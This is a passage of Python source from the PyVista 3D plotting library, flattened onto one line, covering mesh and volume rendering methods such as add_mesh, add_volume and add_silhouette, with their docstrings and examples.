sphere.points[:, 2] >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(sphere, ... scalar_bar_args={'title': 'Z Position'}) >>> plotter.show() Plot using RGB on a single cell. Note that since the number of points and the number of cells are identical, we have to pass ``preference='cell'``. >>> import pyvista >>> import numpy as np >>> vertices = np.array([[0, 0, 0], [1, 0, 0], [.5, .667, 0], [0.5, .33, 0.667]]) >>> faces = np.hstack([[3, 0, 1, 2], [3, 0, 3, 2], [3, 0, 1, 3], [3, 1, 2, 3]]) >>> mesh = pyvista.PolyData(vertices, faces) >>> mesh.cell_data['colors'] = [[255, 255, 255], ... [0, 255, 0], ... [0, 0, 255], ... [255, 0, 0]] >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, scalars='colors', lighting=False, ... rgb=True, preference='cell') >>> plotter.camera_position='xy' >>> plotter.show() Note how this varies from ``preference=='point'``. This is because each point is now being individually colored, versus in ``preference=='point'``, each cell face is individually colored. >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, scalars='colors', lighting=False, ... rgb=True, preference='point') >>> plotter.camera_position='xy' >>> plotter.show() """ # Convert the VTK data object to a pyvista wrapped object if necessary if not is_pyvista_dataset(mesh): mesh = wrap(mesh) if not is_pyvista_dataset(mesh): raise TypeError(f'Object type ({type(mesh)}) not supported for plotting in PyVista.') ##### Parse arguments to be used for all meshes ##### # Avoid mutating input if scalar_bar_args is None: scalar_bar_args = {'n_colors': n_colors} else: scalar_bar_args = scalar_bar_args.copy() if show_edges is None: show_edges = self._theme.show_edges if edge_color is None: edge_color = self._theme.edge_color if show_scalar_bar is None: show_scalar_bar = self._theme.show_scalar_bar if lighting is None: lighting = self._theme.lighting if smooth_shading is None: if pbr: smooth_shading = True else: smooth_shading = self._theme.smooth_shading # supported aliases clim = kwargs.pop('rng', clim) cmap = kwargs.pop('colormap', cmap) culling = kwargs.pop("backface_culling", culling) if render_points_as_spheres is None: render_points_as_spheres = self._theme.render_points_as_spheres if name is None: name = f'{type(mesh).__name__}({mesh.memory_address})' if nan_color is None: nan_color = self._theme.nan_color nan_color = list(parse_color(nan_color)) nan_color.append(nan_opacity) if color is True: color = self._theme.color if texture is False: texture = None if culling is True: culling = 'backface' rgb = kwargs.pop('rgba', rgb) # account for legacy behavior if 'stitle' in kwargs: # pragma: no cover warnings.warn(USE_SCALAR_BAR_ARGS, PyvistaDeprecationWarning) scalar_bar_args.setdefault('title', kwargs.pop('stitle')) if "scalar" in kwargs: raise TypeError("`scalar` is an invalid keyword argument for `add_mesh`. Perhaps you mean `scalars` with an s?") assert_empty_kwargs(**kwargs) ##### Handle composite datasets ##### if isinstance(mesh, pyvista.MultiBlock): # first check the scalars if clim is None and scalars is not None: # Get the data range across the array for all blocks # if scalars specified if isinstance(scalars, str): clim = mesh.get_data_range(scalars) else: # TODO: an array was given... how do we deal with # that? Possibly a 2D arrays or list of # arrays where first index corresponds to # the block? This could get complicated real # quick. raise TypeError('scalars array must be given as a string name for multiblock datasets.') the_arguments = locals() the_arguments.pop('self') the_arguments.pop('mesh') the_arguments.pop('kwargs') if multi_colors: # Compute unique colors for each index of the block if _has_matplotlib(): import matplotlib from itertools import cycle cycler = matplotlib.rcParams['axes.prop_cycle'] colors = cycle(cycler) else: multi_colors = False logging.warning('Please install matplotlib for color cycles') # Now iteratively plot each element of the multiblock dataset actors = [] for idx in range(mesh.GetNumberOfBlocks()): if mesh[idx] is None: continue # Get a good name to use next_name = f'{name}-{idx}' # Get the data object if not is_pyvista_dataset(mesh[idx]): data = wrap(mesh.GetBlock(idx)) if not is_pyvista_dataset(mesh[idx]): continue # move on if we can't plot it else: data = mesh.GetBlock(idx) if data is None or (not isinstance(data, pyvista.MultiBlock) and data.n_points < 1): # Note that a block can exist but be None type # or it could have zeros points (be empty) after filtering continue # Now check that scalars is available for this dataset if isinstance(data, _vtk.vtkMultiBlockDataSet) or get_array(data, scalars) is None: ts = None else: ts = scalars if multi_colors: color = next(colors)['color'] ## Add to the scene the_arguments['color'] = color the_arguments['scalars'] = ts the_arguments['name'] = next_name the_arguments['texture'] = None a = self.add_mesh(data, **the_arguments) actors.append(a) if (reset_camera is None and not self.camera_set) or reset_camera: cpos = self.get_default_cam_pos() self.camera_position = cpos self.camera_set = False self.reset_camera() return actors ##### Plot a single PyVista mesh ##### if silhouette: if isinstance(silhouette, dict): self.add_silhouette(mesh, silhouette) else: self.add_silhouette(mesh) # Compute surface normals if using smooth shading if smooth_shading: # extract surface if mesh is exterior if not isinstance(mesh, pyvista.PolyData): grid = mesh mesh = grid.extract_surface() ind = mesh.point_data['vtkOriginalPointIds'] # remap scalars if isinstance(scalars, np.ndarray): scalars = scalars[ind] if texture: _tcoords = mesh.active_t_coords mesh.compute_normals(cell_normals=False, inplace=True) if texture: mesh.active_t_coords = _tcoords if mesh.n_points < 1: raise ValueError('Empty meshes cannot be plotted. Input mesh has zero points.') # Try to plot something if no preference given if scalars is None and color is None and texture is None: # Prefer texture first if len(list(mesh.textures.keys())) > 0: texture = True # If no texture, plot any active scalar else: # Make sure scalars components are not vectors/tuples scalars = mesh.active_scalars_name # Don't allow plotting of string arrays by default if scalars is not None:# and np.issubdtype(mesh.active_scalars.dtype, np.number): scalar_bar_args.setdefault('title', scalars) else: scalars = None # set main values self.mesh = mesh self.mapper = make_mapper(_vtk.vtkDataSetMapper) self.mapper.SetInputData(self.mesh) self.mapper.GetLookupTable().SetNumberOfTableValues(n_colors) if interpolate_before_map: self.mapper.InterpolateScalarsBeforeMappingOn() actor = _vtk.vtkActor() prop = _vtk.vtkProperty() actor.SetMapper(self.mapper) actor.SetProperty(prop) # Make sure scalars is a numpy array after this point original_scalar_name = None if isinstance(scalars, str): self.mapper.SetArrayName(scalars) # enable rgb if the scalars name ends with rgb or rgba if rgb is None: if scalars.endswith('_rgb') or scalars.endswith('_rgba'): rgb = True original_scalar_name = scalars scalars = get_array(mesh, scalars, preference=preference, err=True) scalar_bar_args.setdefault('title', original_scalar_name) if texture is True or isinstance(texture, (str, int)): texture = mesh._activate_texture(texture) if texture: if isinstance(texture, np.ndarray): texture = numpy_to_texture(texture) if not isinstance(texture, (_vtk.vtkTexture, _vtk.vtkOpenGLTexture)): raise TypeError(f'Invalid texture type ({type(texture)})') if mesh.GetPointData().GetTCoords() is None: raise ValueError('Input mesh does not have texture coordinates to support the texture.') actor.SetTexture(texture) # Set color to white by default when using a texture if color is None: color = 'white' if scalars is None: show_scalar_bar = False self.mapper.SetScalarModeToUsePointFieldData() # see https://github.com/pyvista/pyvista/issues/950 mesh.set_active_scalars(None) # Handle making opacity array ========================================= _custom_opac = False if isinstance(opacity, str): try: # Get array from mesh opacity = get_array(mesh, opacity, preference=preference, err=True) if np.any(opacity > 1): warnings.warn("Opacity scalars contain values over 1") if np.any(opacity < 0): warnings.warn("Opacity scalars contain values less than 0") _custom_opac = True except: # Or get opacity transfer function opacity = opacity_transfer_function(opacity, n_colors) else: if scalars.shape[0] != opacity.shape[0]: raise ValueError('Opacity array and scalars array must have the same number of elements.') elif isinstance(opacity, (np.ndarray, list, tuple)): opacity = np.array(opacity) if scalars.shape[0] == opacity.shape[0]: # User could pass an array of opacities for every point/cell _custom_opac = True else: opacity = opacity_transfer_function(opacity, n_colors) if use_transparency and np.max(opacity) <= 1.0: opacity = 1 - opacity elif use_transparency and isinstance(opacity, np.ndarray): opacity = 255 - opacity # Scalars formatting ================================================== if cmap is None: # Set default map if matplotlib is available if _has_matplotlib(): cmap = self._theme.cmap # Set the array title for when it is added back to the mesh if _custom_opac: title = '__custom_rgba' else: title = scalar_bar_args.get('title', 'Data') if scalars is not None: # if scalars is a string, then get the first array found with that name if not isinstance(scalars, np.ndarray): scalars = np.asarray(scalars) _using_labels = False if not np.issubdtype(scalars.dtype, np.number): # raise TypeError('Non-numeric scalars are currently not supported for plotting.') # TODO: If str array, digitive and annotate cats, scalars = np.unique(scalars.astype('|S'), return_inverse=True) values = np.unique(scalars) clim = [np.min(values) - 0.5, np.max(values) + 0.5] title = f'{title}-digitized' n_colors = len(cats) scalar_bar_args.setdefault('n_labels', 0) _using_labels = True if rgb: show_scalar_bar = False if scalars.ndim != 2 or scalars.shape[1] < 3 or scalars.shape[1] > 4: raise ValueError('RGB array must be n_points/n_cells by 3/4 in shape.') if scalars.ndim != 1: if rgb: pass elif scalars.ndim == 2 and (scalars.shape[0] == mesh.n_points or scalars.shape[0] == mesh.n_cells): if not isinstance(component, (int, type(None))): raise TypeError('component must be either None or an integer') if component is None: scalars = np.linalg.norm(scalars.copy(), axis=1) title = '{}-normed'.format(title) elif component < scalars.shape[1] and component >= 0: scalars = scalars[:, component].copy() title = '{}-{}'.format(title, component) else: raise ValueError( ('component must be nonnegative and less than the ' 'dimensionality of the scalars array: {}').format( scalars.shape[1] ) ) else: scalars = scalars.ravel() if scalars.dtype == np.bool_: scalars = scalars.astype(np.float_) def prepare_mapper(scalars): if (scalars.shape[0] == mesh.n_points and scalars.shape[0] == mesh.n_cells): use_points = preference == 'point' use_cells = not use_points else: use_points = scalars.shape[0] == mesh.n_points use_cells = scalars.shape[0] == mesh.n_cells # Scalars interpolation approach if use_points: self.mesh.point_data.set_array(scalars, title, True) self.mesh.active_scalars_name = title self.mapper.SetScalarModeToUsePointData() elif use_cells: self.mesh.cell_data.set_array(scalars, title, True) self.mesh.active_scalars_name = title self.mapper.SetScalarModeToUseCellData() else: raise_not_matching(scalars, mesh) # Common tasks self.mapper.GetLookupTable().SetNumberOfTableValues(n_colors) if interpolate_before_map: self.mapper.InterpolateScalarsBeforeMappingOn() if rgb or _custom_opac: self.mapper.SetColorModeToDirectScalars() else: self.mapper.SetColorModeToMapScalars() return prepare_mapper(scalars) table = self.mapper.GetLookupTable() if _using_labels: table.SetAnnotations(convert_array(values), convert_string_array(cats)) if isinstance(annotations, dict): for val, anno in annotations.items(): table.SetAnnotation(float(val), str(anno)) # Set scalars range if clim is None: clim = [np.nanmin(scalars), np.nanmax(scalars)] elif isinstance(clim, (int, float)): clim = [-clim, clim] if log_scale: if clim[0] <= 0: clim = [sys.float_info.min, clim[1]] table.SetScaleToLog10() if np.any(clim) and not rgb: self.mapper.scalar_range = clim[0], clim[1] table.SetNanColor(nan_color) if above_color: table.SetUseAboveRangeColor(True) table.SetAboveRangeColor(*parse_color(above_color, opacity=1)) scalar_bar_args.setdefault('above_label', 'Above') if below_color: table.SetUseBelowRangeColor(True) table.SetBelowRangeColor(*parse_color(below_color, opacity=1)) scalar_bar_args.setdefault('below_label', 'Below') if cmap is not None: # have to add the attribute to pass it onward to some classes if isinstance(cmap, str): self.mapper.cmap = cmap # ipygany uses different colormaps if self._theme.jupyter_backend == 'ipygany': from ..jupyter.pv_ipygany import check_colormap check_colormap(cmap) else: if not _has_matplotlib(): cmap = None logging.warning('Please install matplotlib for color maps.') cmap = get_cmap_safe(cmap) if categories: if categories is True: n_colors = len(np.unique(scalars)) elif isinstance(categories, int): n_colors = categories ctable = cmap(np.linspace(0, 1, n_colors))*255 ctable = ctable.astype(np.uint8) # Set opactities if isinstance(opacity, np.ndarray) and not _custom_opac: ctable[:, -1] = opacity if flip_scalars: ctable = np.ascontiguousarray(ctable[::-1]) table.SetTable(_vtk.numpy_to_vtk(ctable)) if _custom_opac: # need to round the colors here since we're # directly displaying the colors hue = normalize(scalars, minimum=clim[0], maximum=clim[1]) scalars = np.round(hue*n_colors)/n_colors scalars = cmap(scalars)*255 scalars[:, -1] *= opacity scalars = scalars.astype(np.uint8) prepare_mapper(scalars) else: # no cmap specified if flip_scalars: table.SetHueRange(0.0, 0.66667) else: table.SetHueRange(0.66667, 0.0) else: self.mapper.SetScalarModeToUseFieldData() # Set actor properties ================================================ # select view style if not style: style = 'surface' style = style.lower() if style == 'wireframe': prop.SetRepresentationToWireframe() if color is None: color = self._theme.outline_color elif style == 'points': prop.SetRepresentationToPoints() elif style == 'surface': prop.SetRepresentationToSurface() else: raise ValueError('Invalid style. Must be one of the following:\n' '\t"surface"\n' '\t"wireframe"\n' '\t"points"\n') prop.SetPointSize(point_size) prop.SetAmbient(ambient) prop.SetDiffuse(diffuse) prop.SetSpecular(specular) prop.SetSpecularPower(specular_power) if pbr: if not _vtk.VTK9: # pragma: no cover raise RuntimeError('Physically based rendering requires VTK 9 ' 'or newer') prop.SetInterpolationToPBR() prop.SetMetallic(metallic) prop.SetRoughness(roughness) elif smooth_shading: prop.SetInterpolationToPhong() else: prop.SetInterpolationToFlat() # edge display style if show_edges: prop.EdgeVisibilityOn() rgb_color = parse_color(color, default_color=self._theme.color) prop.SetColor(rgb_color) if isinstance(opacity, (float, int)): prop.SetOpacity(opacity) prop.SetEdgeColor(parse_color(edge_color)) if render_points_as_spheres: prop.SetRenderPointsAsSpheres(render_points_as_spheres) if render_lines_as_tubes: prop.SetRenderLinesAsTubes(render_lines_as_tubes) # legend label if label: if not isinstance(label, str): raise TypeError('Label must be a string') geom = pyvista.Triangle() if scalars is not None: geom = pyvista.Box() rgb_color = parse_color('black') geom.points -= geom.center self._labels.append([geom, label, rgb_color]) # lighting display style if not lighting: prop.LightingOff() # set line thickness if line_width: prop.SetLineWidth(line_width) self.add_actor(actor, reset_camera=reset_camera, name=name, culling=culling, pickable=pickable, render=render) # hide scalar bar if using special scalars if scalar_bar_args.get('title') == '__custom_rgba': show_scalar_bar = False # Only show scalar bar if there are scalars if show_scalar_bar and scalars is not None: self.add_scalar_bar(**scalar_bar_args) self.renderer.Modified() return actor def add_volume(self, volume, scalars=None, clim=None, resolution=None, opacity='linear', n_colors=256, cmap=None, flip_scalars=False, reset_camera=None, name=None, ambient=0.0, categories=False, culling=False, multi_colors=False, blending='composite', mapper=None, scalar_bar_args=None, show_scalar_bar=None, annotations=None, pickable=True, preference="point", opacity_unit_distance=None, shade=False, diffuse=0.7, specular=0.2, specular_power=10.0, render=True, **kwargs): """Add a volume, rendered using a smart mapper by default. Requires a 3D :class:`numpy.ndarray` or :class:`pyvista.UniformGrid`. Parameters ---------- volume : 3D numpy.ndarray or pyvista.UniformGrid The input volume to visualize. 3D numpy arrays are accepted. scalars : str or numpy.ndarray, optional Scalars used to "color" the mesh. Accepts a string name of an array that is present on the mesh or an array equal to the number of cells or the number of points in the mesh. Array should be sized as a single vector. If ``scalars`` is ``None``, then the active scalars are used. clim : 2 item list, optional Color bar range for scalars. Defaults to minimum and maximum of scalars array. Example: ``[-1, 2]``. ``rng`` is also an accepted alias for this. resolution : list, optional Block resolution. opacity : str or numpy.ndarray, optional Opacity mapping for the scalars array. A string can also be specified to map the scalars range to a predefined opacity transfer function (options include: 'linear', 'linear_r', 'geom', 'geom_r'). Or you can pass a custom made transfer function that is an array either ``n_colors`` in length or shorter. n_colors : int, optional Number of colors to use when displaying scalars. Defaults to 256. The scalar bar will also have this many colors. cmap : str, optional Name of the Matplotlib colormap to us when mapping the ``scalars``. See available Matplotlib colormaps. Only applicable for when displaying ``scalars``. Requires Matplotlib to be installed. ``colormap`` is also an accepted alias for this. If ``colorcet`` or ``cmocean`` are installed, their colormaps can be specified by name. flip_scalars : bool, optional Flip direction of cmap. Most colormaps allow ``*_r`` suffix to do this as well. reset_camera : bool, optional Reset the camera after adding this mesh to the scene. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. ambient : float, optional When lighting is enabled, this is the amount of light from 0 to 1 that reaches the actor when not directed at the light source emitted from the viewer. Default 0.0. categories : bool, optional If set to ``True``, then the number of unique values in the scalar array will be used as the ``n_colors`` argument. culling : str, optional Does not render faces that are culled. Options are ``'front'`` or ``'back'``. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Defaults ``False``. multi_colors : bool, optional Whether or not to use multiple colors when plotting MultiBlock object. Blocks will be colored sequentially as 'Reds', 'Greens', 'Blues', and 'Grays'. blending : str, optional Blending mode for visualisation of the input object(s). Can be one of 'additive', 'maximum', 'minimum', 'composite', or 'average'. Defaults to 'additive'. mapper : str, optional Volume mapper to use given by name. Options include: ``'fixed_point'``, ``'gpu'``, ``'open_gl'``, and ``'smart'``. If ``None`` the ``"volume_mapper"`` in the ``self._theme`` is used. scalar_bar_args : dict, optional Dictionary of keyword arguments to pass when adding the scalar bar to the scene. For options, see :func:`pyvista.BasePlotter.add_scalar_bar`. show_scalar_bar : bool If ``False``, a scalar bar will not be added to the scene. Defaults to ``True``. annotations : dict, optional Pass a dictionary of annotations. Keys are the float values in the scalars range to annotate on the scalar bar and the values are the the string annotations. pickable : bool, optional Set whether this mesh is pickable. preference : str, optional When ``mesh.n_points == mesh.n_cells`` and setting scalars, this parameter sets how the scalars will be mapped to the mesh. Default ``'points'``, causes the scalars will be associated with the mesh points. Can be either ``'points'`` or ``'cells'``. opacity_unit_distance : float Set/Get the unit distance on which the scalar opacity transfer function is defined. Meaning that over that distance, a given opacity (from the transfer function) is accumulated. This is adjusted for the actual sampling distance during rendering. By default, this is the length of the diagonal of the bounding box of the volume divided by the dimensions. shade : bool Default off. If shading is turned on, the mapper may perform shading calculations - in some cases shading does not apply (for example, in a maximum intensity projection) and therefore shading will not be performed even if this flag is on. diffuse : float, optional The diffuse lighting coefficient. Default ``1.0``. specular : float, optional The specular lighting coefficient. Default ``0.0``. specular_power : float, optional The specular power. Between ``0.0`` and ``128.0``. render : bool, optional Force a render when True. Default ``True``. **kwargs : dict, optional Optional keyword arguments. Returns ------- vtk.vtkActor VTK actor of the volume. Examples -------- Show a built-in volume example with the coolwarm colormap. >>> from pyvista import examples >>> import pyvista as pv >>> bolt_nut = examples.download_bolt_nut() >>> pl = pv.Plotter() >>> _ = pl.add_volume(bolt_nut, cmap="coolwarm") >>> pl.show() """ # Handle default arguments # Supported aliases clim = kwargs.pop('rng', clim) cmap = kwargs.pop('colormap', cmap) culling = kwargs.pop("backface_culling", culling) if "scalar" in kwargs: raise TypeError("`scalar` is an invalid keyword argument for `add_mesh`. Perhaps you mean `scalars` with an s?") assert_empty_kwargs(**kwargs) # Avoid mutating input if scalar_bar_args is None: scalar_bar_args = {} else: scalar_bar_args = scalar_bar_args.copy() # account for legacy behavior if 'stitle' in kwargs: # pragma: no cover warnings.warn(USE_SCALAR_BAR_ARGS, PyvistaDeprecationWarning) scalar_bar_args.setdefault('title', kwargs.pop('stitle')) if show_scalar_bar is None: show_scalar_bar = self._theme.show_scalar_bar if culling is True: culling = 'backface' if mapper is None: mapper = self._theme.volume_mapper # only render when the plotter has already been shown if render is None: render = not self._first_time # Convert the VTK data object to a pyvista wrapped object if necessary if not is_pyvista_dataset(volume): if isinstance(volume, np.ndarray): volume = wrap(volume) if resolution is None: resolution = [1, 1, 1] elif len(resolution) != 3: raise ValueError('Invalid resolution dimensions.') volume.spacing = resolution else: volume = wrap(volume) if not is_pyvista_dataset(volume): raise TypeError(f'Object type ({type(volume)}) not supported for plotting in PyVista.') else: # HACK: Make a copy so the original object is not altered. # Also, place all data on the nodes as issues arise when # volume rendering on the cells. volume = volume.cell_data_to_point_data() if name is None: name = f'{type(volume).__name__}({volume.memory_address})' if isinstance(volume, pyvista.MultiBlock): from itertools import cycle cycler = cycle(['Reds', 'Greens', 'Blues', 'Greys', 'Oranges', 'Purples']) # Now iteratively plot each element of the multiblock dataset actors = [] for idx in range(volume.GetNumberOfBlocks()): if volume[idx] is None: continue # Get a good name to use next_name = f'{name}-{idx}' # Get the data object block = wrap(volume.GetBlock(idx)) if resolution is None: try: block_resolution = block.GetSpacing() except AttributeError: block_resolution = resolution else: block_resolution = resolution if multi_colors: color = next(cycler) else: color = cmap a = self.add_volume(block, resolution=block_resolution, opacity=opacity, n_colors=n_colors, cmap=color, flip_scalars=flip_scalars, reset_camera=reset_camera, name=next_name, ambient=ambient, categories=categories, culling=culling, clim=clim, mapper=mapper, pickable=pickable, opacity_unit_distance=opacity_unit_distance, shade=shade, diffuse=diffuse, specular=specular, specular_power=specular_power, render=render) actors.append(a) return actors if not isinstance(volume, pyvista.UniformGrid): raise TypeError(f'Type {type(volume)} not supported for volume rendering at this time. Use `pyvista.UniformGrid`.') if opacity_unit_distance is None: opacity_unit_distance = volume.length / (np.mean(volume.dimensions) - 1) if scalars is None: # Make sure scalars components are not vectors/tuples scalars = volume.active_scalars # Don't allow plotting of string arrays by default if scalars is not None and np.issubdtype(scalars.dtype, np.number): scalar_bar_args.setdefault('title', volume.active_scalars_info[1]) else: raise ValueError('No scalars to use for volume rendering.') elif isinstance(scalars, str): pass ############## title = 'Data' if isinstance(scalars, str): title = scalars scalars = get_array(volume, scalars, preference=preference, err=True) scalar_bar_args.setdefault('title', title) if not isinstance(scalars, np.ndarray): scalars = np.asarray(scalars) if not np.issubdtype(scalars.dtype, np.number): raise TypeError('Non-numeric scalars are currently not supported for volume rendering.') if scalars.ndim != 1: scalars = scalars.ravel() if scalars.dtype == np.bool_ or scalars.dtype == np.uint8: scalars = scalars.astype(np.float_) # Define mapper, volume, and add the correct properties mappers = { 'fixed_point': _vtk.vtkFixedPointVolumeRayCastMapper, 'gpu': _vtk.vtkGPUVolumeRayCastMapper, 'open_gl': _vtk.vtkOpenGLGPUVolumeRayCastMapper, 'smart': _vtk.vtkSmartVolumeMapper, } if not isinstance(mapper, str) or mapper not in mappers.keys(): raise TypeError(f"Mapper ({mapper}) unknown. Available volume mappers include: {', '.join(mappers.keys())}") self.mapper = make_mapper(mappers[mapper]) # Scalars interpolation approach if scalars.shape[0] == volume.n_points: volume.point_data.set_array(scalars, title, True) self.mapper.SetScalarModeToUsePointData() elif scalars.shape[0] == volume.n_cells: volume.cell_data.set_array(scalars, title, True) self.mapper.SetScalarModeToUseCellData() else: raise_not_matching(scalars, volume) # Set scalars range if clim is None: clim = [np.nanmin(scalars), np.nanmax(scalars)] elif isinstance(clim, float) or isinstance(clim, int): clim = [-clim, clim] ############### scalars = scalars.astype(np.float_) with np.errstate(invalid='ignore'): idxs0 = scalars < clim[0] idxs1 = scalars > clim[1] scalars[idxs0] = clim[0] scalars[idxs1] = clim[1] scalars = ((scalars - np.nanmin(scalars)) / (np.nanmax(scalars) - np.nanmin(scalars))) * 255 # scalars = scalars.astype(np.uint8) volume[title] = scalars self.mapper.scalar_range = clim # Set colormap and build lookup table table = _vtk.vtkLookupTable() # table.SetNanColor(nan_color) # NaN's are chopped out with current implementation # above/below colors not supported with volume rendering if isinstance(annotations, dict): for val, anno in annotations.items(): table.SetAnnotation(float(val), str(anno)) if cmap is None: # Set default map if matplotlib is available if _has_matplotlib(): cmap = self._theme.cmap if cmap is not None: if not _has_matplotlib(): raise ImportError('Please install matplotlib for volume rendering.') cmap = get_cmap_safe(cmap) if categories: if categories is True: n_colors = len(np.unique(scalars)) elif isinstance(categories, int): n_colors = categories if flip_scalars: cmap = cmap.reversed() color_tf = _vtk.vtkColorTransferFunction() for ii in range(n_colors): color_tf.AddRGBPoint(ii, *cmap(ii)[:-1]) # Set opacities if isinstance(opacity, (float, int)): opacity_values = [opacity] * n_colors elif isinstance(opacity, str): opacity_values = pyvista.opacity_transfer_function(opacity, n_colors) elif isinstance(opacity, (np.ndarray, list, tuple)): opacity = np.array(opacity) opacity_values = opacity_transfer_function(opacity, n_colors) opacity_tf = _vtk.vtkPiecewiseFunction() for ii in range(n_colors): opacity_tf.AddPoint(ii, opacity_values[ii] / n_colors) # Now put color tf and opacity tf into a lookup table for the scalar bar table.SetNumberOfTableValues(n_colors) lut = cmap(np.array(range(n_colors))) * 255 lut[:,3] = opacity_values lut = lut.astype(np.uint8) table.SetTable(_vtk.numpy_to_vtk(lut)) table.SetRange(*clim) self.mapper.lookup_table = table self.mapper.SetInputData(volume) blending = blending.lower() if blending in ['additive', 'add', 'sum']: self.mapper.SetBlendModeToAdditive() elif blending in ['average', 'avg', 'average_intensity']: self.mapper.SetBlendModeToAverageIntensity() elif blending in ['composite', 'comp']: self.mapper.SetBlendModeToComposite() elif blending in ['maximum', 'max', 'maximum_intensity']: self.mapper.SetBlendModeToMaximumIntensity() elif blending in ['minimum', 'min', 'minimum_intensity']: self.mapper.SetBlendModeToMinimumIntensity() else: raise ValueError(f'Blending mode \'{blending}\' invalid. ' + 'Please choose one ' + 'of \'additive\', ' '\'composite\', \'minimum\' or ' + '\'maximum\'.') self.mapper.Update() self.volume = _vtk.vtkVolume() self.volume.SetMapper(self.mapper) prop = _vtk.vtkVolumeProperty() prop.SetColor(color_tf) prop.SetScalarOpacity(opacity_tf) prop.SetAmbient(ambient) prop.SetScalarOpacityUnitDistance(opacity_unit_distance) prop.SetShade(shade) prop.SetDiffuse(diffuse) prop.SetSpecular(specular) prop.SetSpecularPower(specular_power) self.volume.SetProperty(prop) actor, prop = self.add_actor(self.volume, reset_camera=reset_camera, name=name, culling=culling, pickable=pickable, render=render) # Add scalar bar if scalars are available if show_scalar_bar and scalars is not None: self.add_scalar_bar(**scalar_bar_args) self.renderer.Modified() return actor def add_silhouette(self, mesh, params=None): """Add a silhouette of a PyVista or VTK dataset to the scene. A silhouette can also be generated directly in :func:`add_mesh <pyvista.Plotter.add_mesh>`. See also :ref:`silhouette_example`. Parameters ---------- mesh : pyvista.PolyData Mesh for generating silhouette to plot. params : dict, optional * If not supplied, the default theme values will be used. * ``color``: ``str`` or 3-item ``list``, color of the silhouette * ``line_width``: ``float``, edge width * ``opacity``: ``float`` between 0 and 1, edge transparency * ``feature_angle``: If a ``float``, display sharp edges exceeding that angle in degrees. * ``decimate``: ``float`` between 0 and 1, level of decimation Returns ------- vtk.vtkActor VTK actor of the silhouette. Examples -------- >>> import pyvista >>> from pyvista import examples >>> bunny = examples.download_bunny() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(bunny, color='tan') >>> _ = plotter.add_silhouette(bunny, ... params={'color': 'red', 'line_width': 8.0}) >>> plotter.view_xy() >>> plotter.show() """ silhouette_params = self._theme.silhouette.to_dict() if params: silhouette_params.update(params) if not is_pyvista_dataset(mesh): mesh = wrap(mesh) if not isinstance(mesh, pyvista.PolyData): raise TypeError(f"Expected type is `PolyData` but {type(mesh)} was given.") if isinstance(silhouette_params["decimate"], float): silhouette_mesh = mesh.decimate(silhouette_params["decimate"]) else: silhouette_mesh = mesh alg = _vtk.vtkPolyDataSilhouette() alg.SetInputData(silhouette_mesh) alg.SetCamera(self.renderer.camera) if silhouette_params["feature_angle"] is not None: alg.SetEnableFeatureAngle(True) alg.SetFeatureAngle(silhouette_params["feature_angle"]) else: alg.SetEnableFeatureAngle(False) mapper = make_mapper(_vtk.vtkDataSetMapper) mapper.SetInputConnection(alg.GetOutputPort()) actor, prop = self.add_actor(mapper) prop.SetColor(parse_color(silhouette_params["color"])) prop.SetOpacity(silhouette_params["opacity"]) prop.SetLineWidth(silhouette_params["line_width"]) return actor def update_scalar_bar_range(self, clim, name=None): """Update the value range of the active or named scalar bar. Parameters ---------- clim : sequence The new range of scalar bar. Two item list (e.g. ``[-1, 2]``). name : str, optional The title of the scalar bar to update. """ if isinstance(clim, float) or isinstance(clim, int): clim = [-clim, clim] if len(clim) != 2: raise TypeError('clim argument must be a length 2 iterable of values: (min, max).') if name is None: if not hasattr(self, 'mapper'): raise AttributeError('This plotter does not have an active mapper.') self.mapper.scalar_range = clim return # Use the name to find the desired actor def update_mapper(mapper_helper): mapper_helper.scalar_range = clim return try: for mh in self._scalar_bar_mappers[name]: update_mapper(mh) except KeyError: raise KeyError('Name ({}) not valid/not found in this plotter.') return def clear(self): """Clear plot by removing all actors and properties. Examples -------- >>> import pyvista >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(pyvista.Sphere()) >>> plotter.clear() >>> plotter.renderer.actors {} """ self.renderers.clear() self.scalar_bars.clear() self.mesh = None def link_views(self, views=0): """Link the views' cameras. Parameters ---------- views : int | tuple or list If ``views`` is int, link the views to the given view index or if ``views`` is a tuple or a list, link the given views cameras. """ if isinstance(views, (int, np.integer)): for renderer in self.renderers: renderer.camera = self.renderers[views].camera return views = np.asarray(views) if np.issubdtype(views.dtype, np.integer): for view_index in views: self.renderers[view_index].camera = \ self.renderers[views[0]].camera else: raise TypeError('Expected type is int, list or tuple:' f'{type(views)} is given') def unlink_views(self, views=None): """Unlink the views' cameras. Parameters ---------- views : None, int, tuple or list If ``views`` is None unlink all the views, if ``views`` is int unlink the selected view's camera or if ``views`` is a tuple or a list, unlink the given views cameras. """ if views is None: for renderer in self.renderers: renderer.camera = Camera() renderer.reset_camera() elif isinstance(views, int): self.renderers[views].camera = Camera() self.renderers[views].reset_camera() elif isinstance(views, collections.abc.Iterable): for view_index in views: self.renderers[view_index].camera = Camera() self.renderers[view_index].reset_camera() else: raise TypeError('Expected type is None, int, list or tuple:' f'{type(views)} is given') @wraps(ScalarBars.add_scalar_bar) def add_scalar_bar(self, *args, **kwargs): """Wrap for ``ScalarBars.add_scalar_bar``.""" # only render when the plotter has already been shown render = kwargs.get('render', None) if render is None: kwargs['render'] = not self._first_time # check if maper exists mapper = kwargs.get('mapper', None) if mapper is None: if not hasattr(self, 'mapper') or self.mapper is None: raise AttributeError('Mapper does not exist. ' 'Add a mesh with scalars first.') kwargs['mapper'] = self.mapper # title can be the first and only arg if len(args): title = args[0] else: title = kwargs.get('title', '') if title is None: title = '' kwargs['title'] = title interactive = kwargs.get('interactive', None) if interactive is None: interactive = self._theme.interactive if self.shape != (1, 1): interactive = False elif interactive and self.shape != (1, 1): raise ValueError('Interactive scalar bars disabled for multi-renderer plots') # by default, use the plotter local theme kwargs.setdefault('theme', self._theme) return self.scalar_bars.add_scalar_bar(**kwargs) def update_scalars(self, scalars, mesh=None, render=True): """Update scalars of an object in the plotter. Parameters ---------- scalars : np.ndarray Scalars to replace existing scalars. mesh : vtk.PolyData or vtk.UnstructuredGrid, optional Object that has already been added to the Plotter. 